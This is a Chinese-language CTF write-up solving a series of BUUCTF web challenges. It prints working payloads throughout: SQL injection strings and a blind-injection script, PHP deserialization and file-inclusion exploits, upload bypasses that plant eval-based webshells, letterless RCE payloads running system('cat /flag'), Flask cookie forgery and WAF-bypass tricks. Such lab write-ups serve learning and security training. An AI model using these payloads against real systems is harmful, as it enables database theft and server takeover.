BUUCTF_WEB(一)

今年寒假真的太长了,后半年又因为考研什么都没学,趁这段时间复现学习一波~

[极客大挑战 2019]EasySQL

简单的万能密码即可登录

1
http://b8506b10-95f5-4f01-b77a-8485ee19e068.node3.buuoj.cn/check.php?username=admin%27+or+1%23&password=fads

[极客大挑战 2019]Havefun

签到题,查看网页源代码

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

然后提交get参数cat=dog即可getflag

[极客大挑战 2019]FinalSQL

本题是一个数字型注入,注入点在id参数,过滤了部分敏感词,如and空格等,使用异或符号可以正常返回数据

1
id=0^(1)

所以可以据此进行盲注,但是题目过滤了空格,经过尝试发现空格无法用特殊字符绕过,不过此处可以使用无空格方式来注入,即通过括号包裹来避免使用空格,比如:

1
select(*)from(admin);

盲注脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string


base_url = 'http://33afb64c-ecb9-427b-b24e-100dbb7dd810.node3.buuoj.cn/search.php'
ws = string.printable[:-6]
sign = "NO! Not this"
table_name = "F1naI1y,Flaaaaag"
# column_name = 'id,fl4gawsl' Flaaag
# column_name = 'id,username,password'
column_name = 'mygodcl4y_is_really_amazing,welco'
while True:
for i in ws:
# payload1 = "?id=0^(select(ascii(substr((select(group_concat(table_name))from(information_schema.tables)"\
# "where(table_schema=database())),{},1))={}))"
# payload2 = "?id=0^(select(ascii(substr((select(group_concat(column_name))from(information_schema.columns)"\
# "where(table_name='F1naI1y')),{},1))={}))"
payload2 = "?id=0^(select(ascii(substr((select(group_concat(username,password))from(F1naI1y)),{},1))={}))"
res = requests.get(base_url + payload2.format(len(column_name)+1, ord(i))).content.decode('utf-8')
if sign in res:
column_name += i
print(column_name)
break

不得不吐槽一下的是flag所在表数据真的有点长,我都怀疑flag是不是不在这个表里面,如果只跑password字段的话应该会短一点

[极客大挑战 2019]Secret File

打开网站之后查看源代码可以看到提示

1
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

访问Archive_room.php,题目提示没看清么?请回去仔细看看,应该是发生了跳转,抓包,发现了新的页面secr3t.php,访问得到源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

然后就是文件包含
1
http://a74e337d-43ce-4de5-af4a-08d701cec8b1.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码即可得到flag

[极客大挑战 2019]PHP

题目提示了网站备份,随手测试www.zip可以down到源码
查看index.php发现存在反序列化

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

查看class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

很简单的反序列化,username为admin且password为100即可getflag,只需要绕过一下wakeup函数即可
1
2
3
4
5
6
7
8
9
10
11
12
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$obj = new Name('admin',100);
$obj = serialize($obj);
$obj = str_replace(':2:', ':3:', $obj);
echo urlencode($obj);

payload:
1
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

[极客大挑战 2019]Knife

题目直接给出了shelleval($_POST["Syc"]);
然后直接读flag就行了

[极客大挑战 2019]LoveSQL

题目毫无过滤,直接一把梭就行了,payload如下:

1
view-source:http://4616398c-abd6-4030-87b8-27d8abd6fd4c.node3.buuoj.cn/check.php?username=adin%27union%20select%201,(select%20group_concat(password)%20from%20l0ve1ysq1),3%23&password=addmin

[极客大挑战 2019]Http

修改指定http头即可

[极客大挑战 2019]BabySQL

过滤了or,and,from,union,select,where等字符,可以通过双写绕过,payload

1
view-source:http://39ae0ce7-baa4-43ed-9adf-df019b95a001.node3.buuoj.cn/check.php?username=0' uniunionon seselectlect 1,(seleselectct group_concat(passwoorrd) frfromom b4bsql),3-- +&password=456

[极客大挑战 2019]BuyFlag

题目Attention给出提示

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

同时view-source存在源码

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

也就是说,得到flag需要达到三个条件

  1. 是CUIT’s student
  2. 正确的密码
  3. 足够的money

查看返回头可以看到存在cookieuser=0,猜测可能是身份鉴别字段,修改值为1,这样就通过了CUIT的验证

you are Cuiter
Please input your password!!

password字段的验证绕过很简单,is_numeric存在截断漏洞,提交password=404%00aaa即可绕过

you are Cuiter
Password Right!
Pay for the flag!!!hacker!!!

然后提交金额100000000

you are Cuiter
Password Right!
Nember lenth is too long

数字过长可以使用科学计数法,提交money=1e9即可getflag

[极客大挑战 2019]Upload

很简单的上传绕过,需要修改三个点

  1. content-type: image/jpeg
  2. 修改文件后缀名为phtml
  3. 添加图片前缀GIF89a
  4. 使用标签<script language="php"></script>

上传成功后需要猜测上传目录,实际上传目录为upload
getflag payload:

1
http://2625763a-f599-4a0b-a1c7-1f9501ab20d2.node3.buuoj.cn/upload/shell.phtml?snow=system(%27cat%20/flag%27);

[极客大挑战 2019]HardSQL

报错注入,过滤了空格,可以使用括号包裹绕过,=<>也被过滤了,可以使用in语句来绕过
爆表

1
http://398e34ad-ff1a-4090-80c3-7917a9249043.node3.buuoj.cn/check.php?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(select(database()))),0x7e),1))%23&password=admin

H4rDsq1

1
http://398e34ad-ff1a-4090-80c3-7917a9249043.node3.buuoj.cn/check.php?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)in(select('H4rDsq1'))),0x7e),1))%23&password=admin

XPATH syntax error: ‘~id,username,password~‘

1
http://398e34ad-ff1a-4090-80c3-7917a9249043.node3.buuoj.cn/check.php?username=admin'^(updatexml(1,concat(0x7e,(select(left(password,31))from(H4rDsq1)),0x7e),1))%23&password=admin

XPATH syntax error: ‘~flag{7ba38da2-8bbb-4d78-9c9d-6a’

1
http://398e34ad-ff1a-4090-80c3-7917a9249043.node3.buuoj.cn/check.php?username=admin'^(updatexml(1,concat(0x7e,(select(right(password,31))from(H4rDsq1)),0x7e),1))%23&password=admin

XPATH syntax error: ‘~a2-8bbb-4d78-9c9d-6abe9bc51c29}’

[极客大挑战 2019]RCE ME

考察命令执行,题目给出了代码

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}

参考P神的一篇博文无字母数字shell提高篇中提到一种方法,在PHP7中,可以使用($a)()来执行代码,比如使用('phpinfo')()可以执行phpinfo函数
1
php7 -r "('phpinfo')();"

运行该命令可以看到成功打印PHP信息,不过在版本小于PHP7时是不可以的
由于不允许出现数字字母,我们需要设法表示字母,可以使用~来实现,比如
1
php7 -r "echo urlencode(~'phpinfo');"  # 为了避免字符显示问题,所以进行了url编码

然后运行
1
2
3
4
5
6
7
8
9
php7 -r "(~urldecode('%8F%97%8F%96%91%99%90'))();";

phpinfo()
PHP Version => 7.0.12

System => Windows NT DESKTOP-S4PD6MS 10.0 build 17763 (Windows 10) i586
Build Date => Oct 13 2016 10:44:50
Compiler => MSVC14 (Visual C++ 2015)
Architecture => x86

可以看到是可以运行的,提交该payload,可以看到phpinfo()执行结果,查看disable_functions选项

常用命令执行函数被ban了,可以使用var_dump+scandir+file_get_contents组合拳来读取文件
1
2
3
4
➜ php7 -r "echo urlencode(~'var_dump');"
%89%9E%8D%A0%9B%8A%92%8F
➜ php7 -r "echo urlencode(~'scandir');"
%8C%9C%9E%91%9B%96%8D

payload为(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(%27/%27));,相当于执行了var_dump(scandir('/'));

但是,接下来读取文件时却无法读取,应该是没有相应的权限,根目录下还有一个readflag文件,应该是要调用该程序读取flag
这样的话需要我们进行绕过disable_functions进行提权,我们先尝试获取一个webshell

查看disable_functions可以看到assert没有被ban,可以尝试利用之
官方文档中说,php7+版本中,assert不再作为函数而是作为一种语言结构,而且默认不能执行代码,不过,使用间接调用的方法却是可以当做函数执行的(不知道为啥),比如:

1
assert(var_dump('aaa'));

该语句执行时无任何返回,我们使用间接的方式来执行:
1
2
$a = 'assert';
$a(var_dump('aaa'));

string(3) “aaa”
PHP Warning: assert(): Assertion failed in /var/www/html/rce.php on line 4

此时成功执行

那么,我们就用此方法来getshell,payload如下:

1
code=${~(%A0%B8%BA%AB)}[_](${~(%A0%B8%BA%AB)}[__]);&_=assert&__=eval($_POST[___]);


然后使用蚁剑连接,蚁剑中正好有绕过disable_funcs的插件,直接用一下

提权之后读flag

PS:根据出题大佬的原意,第一步的getshell是希望我们实现无文件getshell,并且给出了payload

1
2
?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

然后通过UA头即可执行任意命令


PHP语言结构(language construct):

语言结构与函数相比的一些特征:

  1. 很多不需要括号,有的会需要
  2. 一些语言结构,能够实现一些函数不可能完成的事情,比如isset,经常会访问一下不存在的变量,如果使用函数来实现会非常难;
  3. 一些语言结构与函数写法存在差异。例如,Array(…)结构可以写成[…]
  4. 正如文档不断提醒我们的,语言结构不能作为可变函数引用。即$a='print_r'; $a(…);是可以的,而$a='print';$a(…);则不行,因为print_r是函数,而print是语言结构

[护网杯 2018]easy_tornado

python模板注入题目,查看hint.txt可知题目需要知道文件名与签名,flag.txt中已给出了flag位置/fllllllllllllag,签名格式为

1
md5(cookie_secret+md5(filename))

所以此题目标就是要获取cookie_secret值,当签名错误后会报错,此报错页面存在模板注入

1
http://c031cfdc-f167-430e-858a-52ddf7406018.node3.buuoj.cn/error?msg=Error

简单测试

通过hander对象来进行注入可以得到cookie

然后计算签名获得flag

[SUCTF 2019]EasySQL

本题是数字型注入,测试过滤

发现题目可以进行堆叠注入,本来想利用execute来执行语句,但是过滤了prepare,根据探测发现目标表名为Flag

但是flag被过滤了,from字段也没法用,这里做到这儿就没思路了,查看资料发现解法是设置sql_mode,真的学到了

本题需要猜测后端的SQL语句,当输入0无数据返回,输入1会返回数据,所以后端可能是存在异或的

后端sql语句可能是

1
$sql = "select ".$query."||flag from Flag";

所以我们直接输入*,1也可以得到flag

除此之外,官方解法还可以通过设置sql_mode来解决,将||变为类似Oracle的管道连接符

payload如下:

1
1;set sql_mode=pipes_as_concat;select 1

[HCTF 2018]admin

查看源代码发现提示信息

1
<!-- you are not admin -->

需要我们以admin身份登录,浏览之后发现有注册功能,随便注册一个账号,登录之后看到存在cookie,应该是要伪造cookie,查看cookie格式应该是flask下的cookie,那么伪造的话我们需要获得secret_key,尝试了模板注入没有发现,最终在change页面发现源代码地址

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

查看源代码可以得知secret_key为ckj123

然后就是正常的cookie伪造

1
py .\flask_session_cookie_manager3.py decode -c '.eJxNkMGKwjAURX9lyNpFmupGcFGJU1J4L1QyE_I2MqNVm1iFVqmN-O9TXc32wD1w7oNt9m3VHdn82t6qCdvUOzZ_sI9fNmeYlz0ZFUGGQRvHtVwJyt0dPQiwVKOFAeUhYoRE23Xj7GpAQQGN4mi_j-iXwfml11IJZ4sa5WtbnJxQA8QiUL7i2mScbJmO3imZLCVTBJQZd2JdYwMJCDUDW5wo_xy5SsGXXOcYyGCjbdmjD_dxu2DPCdt27X5zvYTq_C9h1PqQogHuouqd30b0B06-nGq5q1-cJAiyX2OKmrkIUzos3rrzT1ONiu586dmE3bqqfZ_DEs6ef_NiYyk.XkThtA.0N3JaixDVMTckrVyXBvrmGo7sgI' -s 'ckj123'
1
py .\flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'4d0e23092964816df16361fb5c24837359dfaa27fd5245ea60db0c826abb46162ecb232dda4904ed7df8e07e2d404cdb6c53b91bedad4272448cde3f9d0691df', 'csrf_token': b'4f8f97534c20b73684f4887b534d36ee2429c38f', 'name': 'admin', 'user_id': '1'}" -s "ckj123"

可以得到cookie

1
.eJxNkMGKwjAURX9leGsXMdWN4EKJU1J4L1QyE_I24mjVJtaBqmgj_vtUV7M9cA-c-4DVrq3OB5hc2ms1gFW9hckDPn5gApSXN7Y6oYqdsV4YtZCc-zsFlOi4JocdqX2ihEPjlo13i44kR7JakPs-UJhHH-bBKC29K2pSr21x9FJ3mIrI-UIYOxPsyqz3jtjOMrZFJDUTXi5ranCIUo_RFUfOP3uuMwylMDlFttQYV94oxHu_ncJzAJtzu1tdfmN1-pfQa0PMyKLwSd982CQKe8GhHBm1rV-cFUp2X32KHvuEI95P37rTuql6xXrb1CcYwPVcte93YAjPP_KyYzs.XkTsFA.YOebiET5QoqNJ-EXRqMFRBrKHg8


本题还有其它解法

方法二:

pass

[强网杯 2019]高明的黑客

题目直接给出了源码,下载之后是三千多个shell,但是大部分都不能用,需要找出能够使用的,方法是通过匹配$_POST$_GET来执行命令,这里可以使用echo命令,因为该命令既在PHP下可以执行,在shell条件下也可以执行,此外,如果一个一个试的话速度会非常慢,我们需要使用多线程来增加速度,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import re
import requests
import os
import multiprocessing as mp

url = 'http://192.168.75.144/'
flag = 1 # 在得到可用shell之后退出线程
def test_shell(filename):
global flag
if flag:
command = "echo 'aesm1p';"
with open(filename) as f:
cont = f.read()
# POST
catches = re.findall(r"\$_POST\['(\S+)'\]", cont)
for para in catches:
data = {para: command}
res = requests.post(url+filename, data=data).content.decode('utf-8')
if 'aesm1p' in res:
flag = 0
print('Success! url is {}. payload: {}'.format(url + filename, para))
break
# GET
catches = re.findall(r"\$_GET\['(\S+)'\]", cont)
for para in catches:
res = requests.get(url + filename + '?' + para + '=' + command).content.decode('utf-8')
if 'aesm1p' in res:
flag = 0
print('Success! url is {}'.format(url + filename + '?' + para + '=' + command))
break
return 0
else:
return 0

if __name__ == '__main__':
files = os.listdir('src/')
pool = mp.Pool(processes=30)
for file in files:
pool.apply_async(test_shell,args = ('src/' + file,))
pool.close()
pool.join()

[RoarCTF 2019]Easy Calc

本题考点是php的字符串解析特性

PHP在将查询字符串(在URL中或者在正文中)转化为$_GET$_POST数组时,会将一些字符删除或用下划线替代,它在解析时会做两件事

  1. 删除某些空白字符
  2. 将某些字符转换为下划线

例如下面这段代码

1
2
3
4
<?php
var_dump($_GET);
var_dump($_POST);
?>

可以看到,在get参数中[被转换成了_,而字段名前面的空格被置空,但是字段名后面的空格会被保留

这个特性在绕过某些waf时可以用到,如某些waf对user_id字段有过滤,我们可以使用字段user[id来绕过,waf不会检测该字段,但是到了PHP后端则又会被转化为user_id,从而成功绕过WAF。


本题中,查看源代码

1
<!--I've set up WAF to ensure security.-->

给出了calc.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}

本来我以为calc.php中的过滤即为waf,但是及时我们输入符合过滤规则题目也会触发报错,应该是加了waf,那么我们的请求的流程就是提交请求->waf过滤->calc.php中再次过滤并执行,这样的话按照上面的思路,我们可以在字段num前面加个空格,waf不会过滤该字段(因为该字段为num),在PHP后端又会解析为num,这样就绕过了过滤

1
http://node3.buuoj.cn:27779/calc.php?%20num=phpinfo()

查看禁用函数

发现命令执行的函数被禁用了,那么我们可以使用scandir函数来获得目录,用file_get_contents来读文件,因为引号被过滤了,所以我们用asicc码来构造文件名

PS: 通过查看题目waf过滤规则可以看到题目过滤的仅仅是参数num,如果被拦截则会返回403

1
SecRule ARGS:num "@rx [a-zA-Z_\x7f-\xff\x00-\x24][a-zA-Z_0-9\x7f-\xff\x00-\x24]*" "id:001,msg:'Hack',severity:ERROR,deny,status:403"

此题目还有另一种方法可以绕过,就是利用HTTP走私攻击https://paper.seebug.org/1048/,当请求包含两个Content-Length时可以实现HTTP走私

因为waf服务器看到请求头中有两个content-length会返回400错误,但是后端却依然会处理该请求

[SUCTF 2019]CheckIn

题目简化了一下,直接给出了源码,核心部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

过滤有三个:

  1. 文件名中不得出现phhtacess
  2. 文件内容不得以<?开头
  3. exif_imagetype()函数校验图片

依次绕过:

  1. 上传文件后缀修改为jpg
  2. 用标签<script language="php">phpinfo();@eval($_REQUEST['snow']);</script>来包裹PHP语句
  3. 添加文件头

接下来就是设法将jpg文件解析为PHP文件从而getshell,通过.user.ini文件可以实现该功能,在PHP官方文档中有详细的解释

PHP启动时会在每个目录下扫描.user.ini文件,从被执行的PHP文件目录开始一直上升到web根目录。如果被执行的PHP文件在web根目录之外,则只扫描该目录。需要注意的是在.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。https://www.php.net/manual/en/ini.list.php可以查询配置名和设置模式,其中,有两个设置项很关键

auto_prepend_file: 指定在加载主文件之前解析的文件,相当于在主文件最前面加一个require语句
auto_append_file: 与上面类似,只不过是在主文件结束之后解析

所以攻击思路就是先上传一个.user.ini文件,指定要包含的jpg文件;然后上传jpg文件getshell

上传.user.ini文件

#difine ... 是为了绕过exif_imagetype()函数

然后上传exp.jpg

然后即可getflag

1
http://ec4f3f55-24f4-49f2-84e5-58b3b5f49a95.node3.buuoj.cn/uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php?snow=system(%27cat%20/flag%27);

这个漏洞感觉实际利用可能性不大,因为不大可能会有奇葩程序员会在保存上传文件的文件夹下放一个可执行的PHP文件